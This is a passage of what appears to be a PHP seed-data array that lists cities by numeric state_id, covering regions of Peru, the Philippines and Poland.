'arequipa'],\n ['state_id' => '2815', 'name' => 'camana'],\n ['state_id' => '2815', 'name' => 'chivay'],\n ['state_id' => '2815', 'name' => 'cocachacra'],\n ['state_id' => '2815', 'name' => 'dean valdivia'],\n ['state_id' => '2815', 'name' => 'lluta'],\n ['state_id' => '2815', 'name' => 'mollendo'],\n ['state_id' => '2815', 'name' => 'nicolas de pierola'],\n ['state_id' => '2815', 'name' => 'orcopampa'],\n ['state_id' => '2815', 'name' => 'punta de bombon'],\n ['state_id' => '2815', 'name' => 'rio grande'],\n ['state_id' => '2815', 'name' => 'yura'],\n ['state_id' => '2816', 'name' => 'ayacucho'],\n ['state_id' => '2816', 'name' => 'ayna'],\n ['state_id' => '2816', 'name' => 'coracora'],\n ['state_id' => '2816', 'name' => 'huanta'],\n ['state_id' => '2816', 'name' => 'puquio'],\n ['state_id' => '2816', 'name' => 'san miguel'],\n ['state_id' => '2816', 'name' => 'santa rosa'],\n ['state_id' => '2816', 'name' => 'silvia'],\n ['state_id' => '2816', 'name' => 'tambo'],\n ['state_id' => '2817', 'name' => 'bambamarca'],\n ['state_id' => '2817', 'name' => 'bellavista'],\n ['state_id' => '2817', 'name' => 'cajabamba'],\n ['state_id' => '2817', 'name' => 'cajamarca'],\n ['state_id' => '2817', 'name' => 'celendin'],\n ['state_id' => '2817', 'name' => 'chota'],\n ['state_id' => '2817', 'name' => 'cutervo'],\n ['state_id' => '2817', 'name' => 'jaen'],\n ['state_id' => '2817', 'name' => 'pedro galvez'],\n ['state_id' => '2817', 'name' => 'pucara'],\n ['state_id' => '2817', 'name' => 'san ignacio'],\n ['state_id' => '2817', 'name' => 'santa cruz'],\n ['state_id' => '2817', 'name' => 'yonan'],\n ['state_id' => '2818', 'name' => 'anta'],\n ['state_id' => '2818', 'name' => 'calca'],\n ['state_id' => '2818', 'name' => 'cusco'],\n ['state_id' => '2818', 'name' => 'espinar'],\n ['state_id' => '2818', 'name' => 'oropesa'],\n ['state_id' => '2818', 'name' => 'quillabamba'],\n ['state_id' => '2818', 'name' => 'santa ana'],\n ['state_id' => '2818', 'name' => 'santo tomas'],\n ['state_id' => '2818', 'name' => 'sicuani'],\n ['state_id' => '2818', 'name' => 'urcos'],\n ['state_id' => '2818', 'name' => 'urubamba'],\n ['state_id' => '2819', 'name' => 'huancavelica'],\n ['state_id' => '2819', 'name' => 'lircay'],\n ['state_id' => '2819', 'name' => 'pampas'],\n ['state_id' => '2820', 'name' => 'ambos'],\n ['state_id' => '2820', 'name' => 'huanuco'],\n ['state_id' => '2820', 'name' => 'jose crespo y castillo'],\n ['state_id' => '2820', 'name' => 'la union'],\n ['state_id' => '2820', 'name' => 'llata'],\n ['state_id' => '2820', 'name' => 'rupa-rupa'],\n ['state_id' => '2820', 'name' => 'san miguel de cauri'],\n ['state_id' => '2820', 'name' => 'tingo maria'],\n ['state_id' => '2821', 'name' => 'chincha alta'],\n ['state_id' => '2821', 'name' => 'ica'],\n ['state_id' => '2821', 'name' => 'los aquijes'],\n ['state_id' => '2821', 'name' => 'marcona'],\n ['state_id' => '2821', 'name' => 'nazca'],\n ['state_id' => '2821', 'name' => 'pachacutec'],\n ['state_id' => '2821', 'name' => 'palpa'],\n ['state_id' => '2821', 'name' => 'pisco'],\n ['state_id' => '2821', 'name' => 'salas'],\n ['state_id' => '2821', 'name' => 'san andres'],\n ['state_id' => '2821', 'name' => 'san clemente'],\n ['state_id' => '2821', 'name' => 'san juan bautista'],\n ['state_id' => '2821', 'name' => 'santiago'],\n ['state_id' => '2821', 'name' => 'subtanjalla'],\n ['state_id' => '2821', 'name' => 'tupac amaru inca'],\n ['state_id' => '2821', 'name' => 'vista alegre'],\n ['state_id' => '2822', 'name' => 'acobamba'],\n ['state_id' => '2822', 'name' => 'acolla'],\n ['state_id' => '2822', 'name' => 'carhuamayo'],\n ['state_id' => '2822', 'name' => 'chanchamayo'],\n ['state_id' => '2822', 'name' => 'chupaca'],\n ['state_id' => '2822', 'name' => 'concepcion'],\n ['state_id' => '2822', 'name' => 'huancayo'],\n ['state_id' => '2822', 'name' => 'huasahuasi'],\n ['state_id' => '2822', 'name' => 'huayucachi'],\n ['state_id' => '2822', 'name' => 'jauja'],\n ['state_id' => '2822', 'name' => 'junin'],\n ['state_id' => '2822', 'name' => 'la oroya'],\n ['state_id' => '2822', 'name' => 'mazamari'],\n ['state_id' => '2822', 'name' => 'morococha'],\n ['state_id' => '2822', 'name' => 'orcotuna'],\n ['state_id' => '2822', 'name' => 'pangoa'],\n ['state_id' => '2822', 'name' => 'perene'],\n ['state_id' => '2822', 'name' => 'pichanaqui'],\n ['state_id' => '2822', 'name' => 'pilcomayo'],\n ['state_id' => '2822', 'name' => 'san agustin'],\n ['state_id' => '2822', 'name' => 'san jeronimo de tunan'],\n ['state_id' => '2822', 'name' => 'san pedro de cajas'],\n ['state_id' => '2822', 'name' => 'san ramon'],\n ['state_id' => '2822', 'name' => 'santa rosa de saco'],\n ['state_id' => '2822', 'name' => 'satipo'],\n ['state_id' => '2822', 'name' => 'sicaya'],\n ['state_id' => '2822', 'name' => 'tarma'],\n ['state_id' => '2822', 'name' => 'yauli'],\n ['state_id' => '2822', 'name' => 'yauya'],\n ['state_id' => '2824', 'name' => 'chiclayo'],\n ['state_id' => '2824', 'name' => 'chongoyape'],\n ['state_id' => '2824', 'name' => 'eten'],\n ['state_id' => '2824', 'name' => 'ferrenafe'],\n ['state_id' => '2824', 'name' => 'illimo'],\n ['state_id' => '2824', 'name' => 'jayanca'],\n ['state_id' => '2824', 'name' => 'lagunas'],\n ['state_id' => '2824', 'name' => 'lambayeque'],\n ['state_id' => '2824', 'name' => 'manuel mesones muro'],\n ['state_id' => '2824', 'name' => 'mochumi'],\n ['state_id' => '2824', 'name' => 'monsefu'],\n ['state_id' => '2824', 'name' => 'morrope'],\n ['state_id' => '2824', 'name' => 'motupe'],\n ['state_id' => '2824', 'name' => 'olmos'],\n ['state_id' => '2824', 'name' => 'oyotun'],\n ['state_id' => '2824', 'name' => 'picsi'],\n ['state_id' => '2824', 'name' => 'pimentel'],\n ['state_id' => '2824', 'name' => 'pueblo nuevo'],\n ['state_id' => '2824', 'name' => 'reque'],\n ['state_id' => '2824', 'name' => 'san jose'],\n ['state_id' => '2824', 'name' => 'sana'],\n ['state_id' => '2824', 'name' => 'santa rosa'],\n ['state_id' => '2824', 'name' => 'tucume'],\n ['state_id' => '2826', 'name' => 'barranca'],\n ['state_id' => '2826', 'name' => 'contamana'],\n ['state_id' => '2826', 'name' => 'fernando lores'],\n ['state_id' => '2826', 'name' => 'iquitos'],\n ['state_id' => '2826', 'name' => 'lagunas'],\n ['state_id' => '2826', 'name' => 'nauta'],\n ['state_id' => '2826', 'name' => 'paucarpata'],\n ['state_id' => '2826', 'name' => 'ramon castilla'],\n ['state_id' => '2826', 'name' => 'requena'],\n ['state_id' => '2826', 'name' => 'saquena'],\n ['state_id' => '2826', 'name' => 'vargas guerra'],\n ['state_id' => '2826', 'name' => 'yurimaguas'],\n ['state_id' => '2828', 'name' => 'ilo'],\n ['state_id' => '2828', 'name' => 'moquegua'],\n ['state_id' => '2828', 'name' => 'pacocha'],\n ['state_id' => '2828', 'name' => 'torata'],\n ['state_id' => '2829', 'name' => 'cerro de pasco'],\n ['state_id' => '2829', 'name' => 'chaupimarca'],\n ['state_id' => '2829', 'name' => 'oxapampa'],\n ['state_id' => '2829', 'name' => 'paucartambo'],\n ['state_id' => '2829', 'name' => 'simon bolivar'],\n ['state_id' => '2829', 'name' => 'tinyahuarco'],\n ['state_id' => '2829', 'name' => 'villa rica'],\n ['state_id' => '2829', 'name' => 'yanacancha'],\n ['state_id' => '2829', 'name' => 'yanahuanca'],\n ['state_id' => '2830', 'name' => 'ayabaca'],\n ['state_id' => '2830', 'name' => 'bernal'],\n ['state_id' => '2830', 'name' => 'buenos aires'],\n ['state_id' => '2830', 'name' => 'catacaos'],\n ['state_id' => '2830', 'name' => 'chulucanas'],\n ['state_id' => '2830', 'name' => 'colan'],\n ['state_id' => '2830', 'name' => 'cura mori'],\n ['state_id' => '2830', 'name' => 'el alto'],\n ['state_id' => '2830', 'name' => 'huancabamba'],\n ['state_id' => '2830', 'name' => 'ignacio escudero'],\n ['state_id' => '2830', 'name' => 'la arena'],\n ['state_id' => '2830', 'name' => 'la brea'],\n ['state_id' => '2830', 'name' => 'la huaca'],\n ['state_id' => '2830', 'name' => 'la matanza'],\n ['state_id' => '2830', 'name' => 'la union'],\n ['state_id' => '2830', 'name' => 'las lomas'],\n ['state_id' => '2830', 'name' => 'los organos'],\n ['state_id' => '2830', 'name' => 'mancora'],\n ['state_id' => '2830', 'name' => 'marcavelica'],\n ['state_id' => '2830', 'name' => 'morropon'],\n ['state_id' => '2830', 'name' => 'paita'],\n ['state_id' => '2830', 'name' => 'piura'],\n ['state_id' => '2830', 'name' => 'querecotillo'],\n ['state_id' => '2830', 'name' => 'salitral'],\n ['state_id' => '2830', 'name' => 'san juan de bigote'],\n ['state_id' => '2830', 'name' => 'sechura'],\n ['state_id' => '2830', 'name' => 'sullana'],\n ['state_id' => '2830', 'name' => 'talara'],\n ['state_id' => '2830', 'name' => 'tamarindo'],\n ['state_id' => '2830', 'name' => 'tambo grande'],\n ['state_id' => '2830', 'name' => 'vice'],\n ['state_id' => '2830', 'name' => 'vichayal'],\n ['state_id' => '2831', 'name' => 'ayaviri'],\n ['state_id' => '2831', 'name' => 'azangaro'],\n ['state_id' => '2831', 'name' => 'desaguadero'],\n ['state_id' => '2831', 'name' => 'huancane'],\n ['state_id' => '2831', 'name' => 'ilave'],\n ['state_id' => '2831', 'name' => 'juli'],\n ['state_id' => '2831', 'name' => 'juliaca'],\n ['state_id' => '2831', 'name' => 'lampa'],\n ['state_id' => '2831', 'name' => 'macusani'],\n ['state_id' => '2831', 'name' => 'nunoa'],\n ['state_id' => '2831', 'name' => 'puno'],\n ['state_id' => '2831', 'name' => 'putina'],\n ['state_id' => '2831', 'name' => 'santa lucia'],\n ['state_id' => '2831', 'name' => 'yanahuara'],\n ['state_id' => '2831', 'name' => 'yunguyo'],\n ['state_id' => '2833', 'name' => 'ilabaya'],\n ['state_id' => '2833', 'name' => 'tacna'],\n ['state_id' => '2833', 'name' => 'tarata'],\n ['state_id' => '2834', 'name' => 'aguas verdes'],\n ['state_id' => '2834', 'name' => 'corrales'],\n ['state_id' => '2834', 'name' => 'la cruz'],\n ['state_id' => '2834', 'name' => 'papayal'],\n ['state_id' => '2834', 'name' => 'san jacinto'],\n ['state_id' => '2834', 'name' => 'tumbes'],\n ['state_id' => '2834', 'name' => 'zarumilla'],\n ['state_id' => '2834', 'name' => 'zorritos'],\n ['state_id' => '2835', 'name' => 'campoverde'],\n ['state_id' => '2835', 'name' => 'padre abad'],\n ['state_id' => '2835', 'name' => 'pucallpa'],\n ['state_id' => '2835', 'name' => 'raymondi'],\n ['state_id' => '2836', 'name' => 'san juan'],\n ['state_id' => '2837', 'name' => 'albay'],\n ['state_id' => '2837', 'name' => 'daet'],\n ['state_id' => '2837', 'name' => 'iriga'],\n ['state_id' => '2837', 'name' => 'legaspi'],\n ['state_id' => '2837', 'name' => 'naga'],\n ['state_id' => '2837', 'name' => 'sorsogon'],\n ['state_id' => '2838', 'name' => 'bulacan'],\n ['state_id' => '2838', 'name' => 'marilao'],\n ['state_id' => '2839', 'name' => 'cagayan de oro'],\n ['state_id' => '2839', 'name' => 'santiago'],\n ['state_id' => '2839', 'name' => 'solano'],\n ['state_id' => '2839', 'name' => 'tuguegarao'],\n ['state_id' => '2840', 'name' => 'bislig'],\n ['state_id' => '2840', 'name' => 'butuan'],\n ['state_id' => '2840', 'name' => 'surigao'],\n ['state_id' => '2844', 'name' => 'baguio'],\n ['state_id' => '2844', 'name' => 'bangued'],\n ['state_id' => '2845', 'name' => 'davao'],\n ['state_id' => '2848', 'name' => 'dagupan'],\n ['state_id' => '2848', 'name' => 'laoag'],\n ['state_id' => '2848', 'name' => 'manaoag'],\n ['state_id' => '2848', 'name' => 'mangaldan'],\n ['state_id' => '2848', 'name' => 'san fernando'],\n ['state_id' => '2848', 'name' => 'urdaneta'],\n ['state_id' => '2848', 'name' => 'vigan'],\n ['state_id' => '2849', 'name' => 'binan'],\n ['state_id' => '2849', 'name' => 'laguna'],\n ['state_id' => '2849', 'name' => 'pangil'],\n ['state_id' => '2849', 'name' => 'san pedro'],\n ['state_id' => '2850', 'name' => 'manila'],\n ['state_id' => '2850', 'name' => 'marikina'],\n ['state_id' => '2851', 'name' => 'mactan'],\n ['state_id' => '2861', 'name' => 'fabryczna'],\n ['state_id' => '2862', 'name' => 'bielawa'],\n ['state_id' => '2862', 'name' => 'bogatynia'],\n ['state_id' => '2862', 'name' => 'boguszow-gorce'],\n ['state_id' => '2862', 'name' => 'boleslawiec'],\n ['state_id' => '2862', 'name' => 'brzeg dolny'],\n ['state_id' => '2862', 'name' => 'bystrzyca klodzka'],\n ['state_id' => '2862', 'name' => 'chojnow'],\n ['state_id' => '2862', 'name' => 'dzierzoniow'],\n ['state_id' => '2862', 'name' => 'glogow'],\n ['state_id' => '2862', 'name' => 'gora'],\n ['state_id' => '2862', 'name' => 'jawor'],\n ['state_id' => '2862', 'name' => 'jelcz-laskowice'],\n ['state_id' => '2862', 'name' => 'jelenia gora'],\n ['state_id' => '2862', 'name' => 'kamienna gora'],\n ['state_id' => '2862', 'name' => 'klodzko'],\n ['state_id' => '2862', 'name' => 'kowary'],\n ['state_id' => '2862', 'name' => 'kudowa-zdroj'],\n ['state_id' => '2862', 'name' => 'legnica'],\n ['state_id' => '2862', 'name' => 'luban'],\n ['state_id' => '2862', 'name' => 'lubin'],\n ['state_id' => '2862', 'name' => 'lwowek slaski'],\n ['state_id' => '2862', 'name' => 'milicz'],\n ['state_id' => '2862', 'name' => 'nowa ruda'],\n ['state_id' => '2862', 'name' => 'olawa'],\n ['state_id' => '2862', 'name' => 'olesnica'],\n ['state_id' => '2862', 'name' => 'piechowice'],\n ['state_id' => '2862', 'name' => 'pieszyce'],\n ['state_id' => '2862', 'name' => 'polkowice'],\n ['state_id' => '2862', 'name' => 'strzegom'],\n ['state_id' => '2862', 'name' => 'strzelin'],\n ['state_id' => '2862', 'name' => 'swidnica'],\n ['state_id' => '2862', 'name' => 'swiebodzice'],\n ['state_id' => '2862', 'name' => 'sycow'],\n ['state_id' => '2862', 'name' => 'trzebnica'],\n ['state_id' => '2862', 'name' => 'walbrzych'],\n ['state_id' => '2862', 'name' => 'wolow'],\n ['state_id' => '2862', 'name' => 'wroclaw'],\n ['state_id' => '2862', 'name' => 'zabkowice slaskie'],\n ['state_id' => '2862', 'name' => 'zgorzelec'],\n ['state_id' => '2862', 'name' => 'ziebice'],\n ['state_id' => '2862', 'name' => 'zlotoryja'],\n ['state_id' => '2864', 'name' => 'hopowo'],\n ['state_id' => '2865', 'name' => 'chwaszczyno'],\n ['state_id' => '2866', 'name' => 'smigiel'],\n ['state_id' => '2867', 'name' => 'jerzmanowice'],\n ['state_id' => '2867', 'name' => 'zabierzow'],\n ['state_id' => '2868', 'name' => 'aleksandrow kujawski'],\n ['state_id' => '2868', 'name' => 'brodnica'],\n ['state_id' => '2868', 'name' => 'bydgoszcz'],\n ['state_id' => '2868', 'name' => 'chelmno'],\n ['state_id' => '2868', 'name' => 'chelmza'],\n ['state_id' => '2868', 'name' => 'ciechocinek'],\n ['state_id' => '2868', 'name' => 'golub-dobrzyn'],\n ['state_id' => '2868', 'name' => 'grudziadz'],\n ['state_id' => '2868', 'name' => 'inowroclaw'],\n ['state_id' => '2868', 'name' => 'janikowo'],\n ['state_id' => '2868', 'name' => 'koronowo'],\n ['state_id' => '2868', 'name' => 'kruszwica'],\n ['state_id' => '2868', 'name' => 'lipno'],\n ['state_id' => '2868', 'name' => 'mogilno'],\n ['state_id' => '2868', 'name' => 'naklo nad notecia'],\n ['state_id' => '2868', 'name' => 'radziejow'],\n ['state_id' => '2868', 'name' => 'rypin'],\n ['state_id' => '2868', 'name' => 'sepolno krajenskie'],\n ['state_id' => '2868', 'name' => 'solec kujawski'],\n ['state_id' => '2868', 'name' => 'swiecie'],\n ['state_id' => '2868', 'name' => 'szubin'],\n ['state_id' => '2868', 'name' => 'torun'],\n ['state_id' => '2868', 'name' => 'tuchola'],\n ['state_id' => '2868', 'name' => 'wabrzezno'],\n ['state_id' => '2868', 'name' => 'wloclawek'],\n ['state_id' => '2868', 'name' => 'znin'],\n ['state_id' => '2869', 'name' => 'aleksandrow lodzki'],\n ['state_id' => '2869', 'name' => 'belchatow'],\n ['state_id' => '2869', 'name' => 'bratoszewice'],\n ['state_id' => '2869', 'name' => 'brzeziny'],\n ['state_id' => '2869', 'name' => 'glowno'],\n ['state_id' => '2869', 'name' => 'koluszki'],\n ['state_id' => '2869', 'name' => 'konstantynow lodzki'],\n ['state_id' => '2869', 'name' => 'kutno'],\n ['state_id' => '2869', 'name' => 'lask'],\n ['state_id' => '2869', 'name' => 'leczyca'],\n ['state_id' => '2869', 'name' => 'lodz'],\n ['state_id' => '2869', 'name' => 'lowicz'],\n ['state_id' => '2869', 'name' => 'opoczno'],\n ['state_id' => '2869', 'name' => 'ozorkow'],\n ['state_id' => '2869', 'name' => 'pabianice'],\n ['state_id' => '2869', 'name' => 'piotrkow trybunalski'],\n ['state_id' => '2869', 'name' => 'radomsko'],\n ['state_id' => '2869', 'name' => 'rawa mazowiecka'],\n ['state_id' => '2869', 'name' => 'sieradz'],\n ['state_id' => '2869', 'name' => 'skierniewice'],\n ['state_id' => '2869', 'name' => 'tomaszow mazowiecki'],\n ['state_id' => '2869', 'name' => 'tuszyn'],\n ['state_id' => '2869', 'name' => 'wielun'],\n ['state_id' => '2869', 'name' => 'zdunska wola'],\n ['state_id' => '2869', 'name' => 'zgierz'],\n ['state_id' => '2869', 'name' => 'zychlin'],\n ['state_id' => '2870', 'name' => 'biala podlaska'],\n ['state_id' => '2870', 'name' => 'bilgoraj'],\n ['state_id' => '2870', 'name' => 'chelm'],\n ['state_id' => '2870', 'name' => 'deblin'],\n ['state_id' => '2870', 'name' => 'hrubieszow'],\n ['state_id' => '2870', 'name' => 'janow lubelski'],\n ['state_id' => '2870', 'name' => 'krasnik'],\n ['state_id' => '2870', 'name' => 'krasnystaw'],\n ['state_id' => '2870', 'name' => 'leczna'],\n ['state_id' => '2870', 'name' => 'lubartow'],\n ['state_id' => '2870', 'name' => 'lublin'],\n ['state_id' => '2870', 'name' => 'lukow'],\n ['state_id' => '2870', 'name' => 'miedzyrzec podlaski'],\n ['state_id' => '2870', 'name' => 'opole lubelskie'],\n ['state_id' => '2870', 'name' => 'parczew'],\n ['state_id' => '2870', 'name' => 'poniatowa'],\n ['state_id' => '2870', 'name' => 'pulawy'],\n ['state_id' => '2870', 'name' => 'radzyn podlaski'],\n ['state_id' => '2870', 'name' => 'ryki'],\n ['state_id' => '2870', 'name' => 'swidnik'],\n ['state_id' => '2870', 'name' => 'tomaszow lubelski'],\n ['state_id' => '2870', 'name' => 'wlodawa'],\n ['state_id' => '2870', 'name' => 'zamosc'],\n ['state_id' => '2871', 'name' => 'drezdenko'],\n ['state_id' => '2871', 'name' => 'gorzow wielkopolski'],\n ['state_id' => '2871', 'name' => 'gubin'],\n ['state_id' => '2871', 'name' => 'kostrzyn'],\n ['state_id' => '2871', 'name' => 'kozuchow'],\n ['state_id' => '2871', 'name' => 'krosno odrzanskie'],\n ['state_id' => '2871', 'name' => 'lubsko'],\n ['state_id' => '2871', 'name' => 'miedzyrzecz'],\n ['state_id' => '2871', 'name' => 'nowa sol'],\n ['state_id' => '2871', 'name' => 'skwierzyna'],\n ['state_id' => '2871', 'name' => 'slubice'],\n ['state_id' => '2871', 'name' => 'strzelce krajenskie'],\n ['state_id' => '2871', 'name' => 'sulechow'],\n ['state_id' => '2871', 'name' => 'sulecin'],\n ['state_id' => '2871', 'name' => 'swiebodzin'],\n ['state_id' => '2871', 'name' => 'szprotawa'],\n ['state_id' => '2871', 'name' => 'wschowa'],\n ['state_id' => '2871', 'name' => 'zagan'],\n ['state_id' => '2871', 'name' => 'zary'],\n ['state_id' => '2871', 'name' => 'zielona gora'],\n ['state_id' => '2872', 'name' => 'malomice'],\n ['state_id' => '2873', 'name' => 'andrychow'],\n ['state_id' => '2873', 'name' => 'bochnia'],\n ['state_id' => '2873', 'name' => 'brzesko'],\n ['state_id' => '2873', 'name' => 'brzeszcze'],\n ['state_id' => '2873', 'name' => 'bukowno'],\n ['state_id' => '2873', 'name' => 'chelmek'],\n ['state_id' => '2873', 'name' => 'chrzanow'],\n ['state_id' => '2873', 'name' => 'dabrowa tarnowska'],\n ['state_id' => '2873', 'name' => 'gorlice'],\n ['state_id' => '2873', 'name' => 'kety'],\n ['state_id' => '2873', 'name' => 'krakow'],\n ['state_id' => '2873', 'name' => 'krynica'],\n ['state_id' => '2873', 'name' => 'krzeszowice'],\n ['state_id' => '2873', 'name' => 'libiaz'],\n ['state_id' => '2873', 'name' => 'limanowa'],\n ['state_id' => '2873', 'name' => 'miechow'],\n ['state_id' => '2873', 'name' => 'myslenice'],\n ['state_id' => '2873', 'name' => 'nowy sacz'],\n ['state_id' => '2873', 'name' => 'nowy targ'],\n ['state_id' => '2873', 'name' => 'olkusz'],\n ['state_id' => '2873', 'name' => 'oswiecim'],\n ['state_id' => '2873', 'name' => 'poronin'],\n ['state_id' => '2873', 'name' => 'rabka'],\n ['state_id' => '2873', 'name' => 'skawina'],\n ['state_id' => '2873', 'name' => 'stary sacz'],\n ['state_id' => '2873', 'name' => 'sucha beskidzka'],\n ['state_id' => '2873', 'name' => 'tarnow'],\n ['state_id' => '2873', 'name' => 'trzebinia'],\n ['state_id' => '2873', 'name' => 'wadowice'],\n ['state_id' => '2873', 'name' => 'wieliczka'],\n ['state_id' => '2873', 'name' => 'wolbrom'],\n ['state_id' => '2873', 'name' => 'zakopane'],\n ['state_id' => '2874', 'name' => 'blonie'],\n ['state_id' => '2874', 'name' => 'brwinow'],\n ['state_id' => '2874', 'name' => 'ciechanow'],\n ['state_id' => '2874', 'name' => 'garwolin'],\n ['state_id' => '2874', 'name' => 'gora kalwaria'],\n ['state_id' => '2874', 'name' => 'gostynin'],\n ['state_id' => '2874', 'name' => 'grodzisk mazowiecki'],\n ['state_id' => '2874', 'name' => 'grojec'],\n ['state_id' => '2874', 'name' => 'jozefow'],\n ['state_id' => '2874', 'name' => 'karczew'],\n ['state_id' => '2874', 'name' => 'kobylka'],\n ['state_id' => '2874', 'name' => 'konstancin-jeziorna'],\n ['state_id' => '2874', 'name' => 'kozienice'],\n ['state_id' => '2874', 'name' => 'legionowo'],\n ['state_id' => '2874', 'name' => 'lomianki'],\n ['state_id' => '2874', 'name' => 'makow mazowiecki'],\n ['state_id' => '2874', 'name' => 'marki'],\n ['state_id' => '2874', 'name' => 'milanowek'],\n ['state_id' => '2874', 'name' => 'minsk mazowiecki'],\n ['state_id' => '2874', 'name' => 'mlawa'],\n ['state_id' => '2874', 'name' => 'nowy dwor mazowiecki'],\n ['state_id' => '2874', 'name' => 'ostroleka'],\n ['state_id' => '2874', 'name' => 'ostrow mazowiecka'],\n ['state_id' => '2874', 'name' => 'otwock'],\n ['state_id' => '2874', 'name' => 'piaseczno'],\n ['state_id' => '2874', 'name' => 'piastow'],\n ['state_id' => '2874', 'name' => 'pionki'],\n ['state_id' => '2874', 'name' => 'plock'],\n ['state_id' => '2874', 'name' => 'plonsk'],\n ['state_id' => '2874', 'name' => 'pruszkow'],\n ['state_id' => '2874', 'name' => 'przasnysz'],\n ['state_id' => '2874', 'name' => 'pultusk'],\n ['state_id' => '2874', 'name' => 'radom'],\n ['state_id' => '2874', 'name' => 'siedlce'],\n ['state_id' => '2874', 'name' => 'sierpc'],\n ['state_id' => '2874', 'name' => 'sochaczew'],\n ['state_id' => '2874', 'name' => 'sokolow podlaski'],\n ['state_id' => '2874', 'name' => 'sulejowek'],\n ['state_id' => '2874', 'name' => 'szydlowiec'],\n ['state_id' => '2874', 'name' => 'warka'],\n ['state_id' => '2874', 'name' => 'warszawa'],\n ['state_id' => '2874', 'name' => 'wegrow'],\n ['state_id' => '2874', 'name' => 'wesola'],\n ['state_id' => '2874', 'name' => 'wolomin'],\n ['state_id' => '2874', 'name' => 'wyszkow'],\n ['state_id' => '2874', 'name' => 'zabki'],\n ['state_id' => '2874', 'name' => 'zielonka'],\n ['state_id' => '2874', 'name' => 'zyrardow'],\n ['state_id' => '2875', 'name' => 'dlugoteka'],\n ['state_id' => '2876', 'name' => 'brzeg'],\n ['state_id' => '2876', 'name' => 'glubczyce'],\n ['state_id' => '2876', 'name' => 'glucholazy'],\n ['state_id' => '2876', 'name' => 'grodkow'],\n ['state_id' => '2876', 'name' => 'kedzierzyn-kozle'],\n ['state_id' => '2876', 'name' => 'kluczbork'],\n ['state_id' => '2876', 'name' => 'krapkowice'],\n ['state_id' => '2876', 'name' => 'namyslow'],\n ['state_id' => '2876', 'name' => 'niemodlin'],\n ['state_id' => '2876', 'name' => 'nysa'],\n ['state_id' => '2876', 'name' => 'olesno'],\n ['state_id' => '2876', 'name' => 'opole'],\n ['state_id' => '2876', 'name' => 'ozimek'],\n ['state_id' => '2876', 'name' => 'prudnik'],\n ['state_id' => '2876', 'name' => 'strzelce opolskie'],\n ['state_id' => '2876', 'name' => 'zawadzkie'],\n ['state_id' => '2876', 'name' => 'zdzieszowice'],\n ['state_id' => '2877', 'name' => 'cmielow'],\n ['state_id' => '2878', 'name' => 'debica'],\n ['state_id' => '2878', 'name' => 'jaroslaw'],\n ['state_id' => '2878', 'name' => 'jaslo'],\n ['state_id' => '2878', 'name' => 'krosno'],\n ['state_id' => '2878', 'name' => 'lancut'],\n ['state_id' => '2878', 'name' => 'lezajsk'],\n ['state_id' => '2878', 'name' => 'lubaczow'],\n ['state_id' => '2878', 'name' => 'mielec'],\n ['state_id' => '2878', 'name' => 'nisko'],\n ['state_id' => '2878', 'name' => 'nowa deba'],\n ['state_id' => '2878', 'name' => 'przemysl'],\n ['state_id' => '2878', 'name' => 'przeworsk'],\n ['state_id' => '2878', 'name' => 'ropczyce'],\n ['state_id' => '2878', 'name' => 'rzeszow'],\n ['state_id' => '2878', 'name' => 'sanok'],\n ['state_id' => '2878', 'name' => 'stalowa wola'],\n ['state_id' => '2878', 'name' => 'tarnobrzeg'],\n ['state_id' => '2878', 'name' => 'ustrzyki dolne'],\n ['state_id' => '2879', 'name' => 'augustow'],\n ['state_id' => '2879', 'name' => 'bialystok'],\n ['state_id' => '2879', 'name' => 'bielsk podlaski'],\n ['state_id' => '2879', 'name' => 'czarna bialostocka'],\n ['state_id' => '2879', 'name' => 'grajewo'],\n ['state_id' => '2879', 'name' => 'hajnowka'],\n ['state_id' => '2879', 'name' => 'kolno'],\n ['state_id' => '2879', 'name' => 'lapy'],\n ['state_id' => '2879', 'name' => 'lomza'],\n ['state_id' => '2879', 'name' => 'monki'],\n ['state_id' => '2879', 'name' => 'siemiatycze'],\n ['state_id' => '2879', 'name' => 'sokolka'],\n ['state_id' => '2879', 'name' => 'suwalki'],\n ['state_id' => '2879', 'name' => 'wysokie mazowieckie'],\n ['state_id' => '2879', 'name' => 'zambrow'],\n ['state_id' => '2880', 'name' => 'bogumilowice'],\n ['state_id' => '2881', 'name' => 'bytow'],\n ['state_id' => '2881', 'name' => 'chojnice'],\n ['state_id' => '2881', 'name' => 'czersk'],\n ['state_id' => '2881', 'name' => 'czluchow'],\n ['state_id' => '2881', 'name' => 'gdansk'],\n ['state_id' => '2881', 'name' => 'gdynia'],\n ['state_id' => '2881', 'name' => 'kartuzy'],\n ['state_id' => '2881', 'name' => 'koscierzyna'],\n ['state_id' => '2881', 'name' => 'kwidzyn'],\n ['state_id' => '2881', 'name' => 'lebork'],\n ['state_id' => '2881', 'name' => 'malbork'],\n ['state_id' => '2881', 'name' => 'miastko'],\n ['state_id' => '2881', 'name' => 'nowy dwor gdanski'],\n ['state_id' => '2881', 'name' => 'pruszcz gdanski'],\n ['state_id' => '2881', 'name' => 'puck'],\n ['state_id' => '2881', 'name' => 'reda'],\n ['state_id' => '2881', 'name' => 'rumia'],\n ['state_id' => '2881', 'name' => 'slupsk'],\n ['state_id' => '2881', 'name' => 'sopot'],\n ['state_id' => '2881', 'name' => 'starogard gdanski'],\n ['state_id' => '2881', 'name' => 'sztum'],\n ['state_id' => '2881', 'name' => 'tczew'],\n ['state_id' => '2881', 'name' => 'ustka'],\n ['state_id' => '2881', 'name' => 'wejherowo'],\n ['state_id' => '2881', 'name' => 'wladyslawowo'],\n ['state_id' => '2882', 'name' => 'komorniki'],\n ['state_id' => '2882', 'name' => 'steszew'],\n ['state_id' => '2883', 'name' => 'raszyn'],\n ['state_id' => '2884', 'name' => 'rymanowska'],\n ['state_id' => '2885', 'name' => 'glogow malopolski'],\n ['state_id' => '2886', 'name' => 'bedzin'],\n ['state_id' => '2886', 'name' => 'bielsko-biala'],\n ['state_id' => '2886', 'name' => 'bierun'],\n ['state_id' => '2886', 'name' => 'blachowania'],\n ['state_id' => '2886', 'name' => 'bytom'],\n ['state_id' => '2886', 'name' => 'chorzow'],\n ['state_id' => '2886', 'name' => 'cieszyn'],\n ['state_id' => '2886', 'name' => 'czechowice-dziedzice'],\n ['state_id' => '2886', 'name' => 'czeladz'],\n ['state_id' => '2886', 'name' => 'czerwionka-leszczyny'],\n ['state_id' => '2886', 'name' => 'czestochowa'],\n ['state_id' => '2886', 'name' => 'dabrowa gornicza'],\n ['state_id' => '2886', 'name' => 'gliwice'],\n ['state_id' => '2886', 'name' => 'jastrzebie-zdroj'],\n ['state_id' => '2886', 'name' => 'jaworzno'],\n ['state_id' => '2886', 'name' => 'kalety'],\n 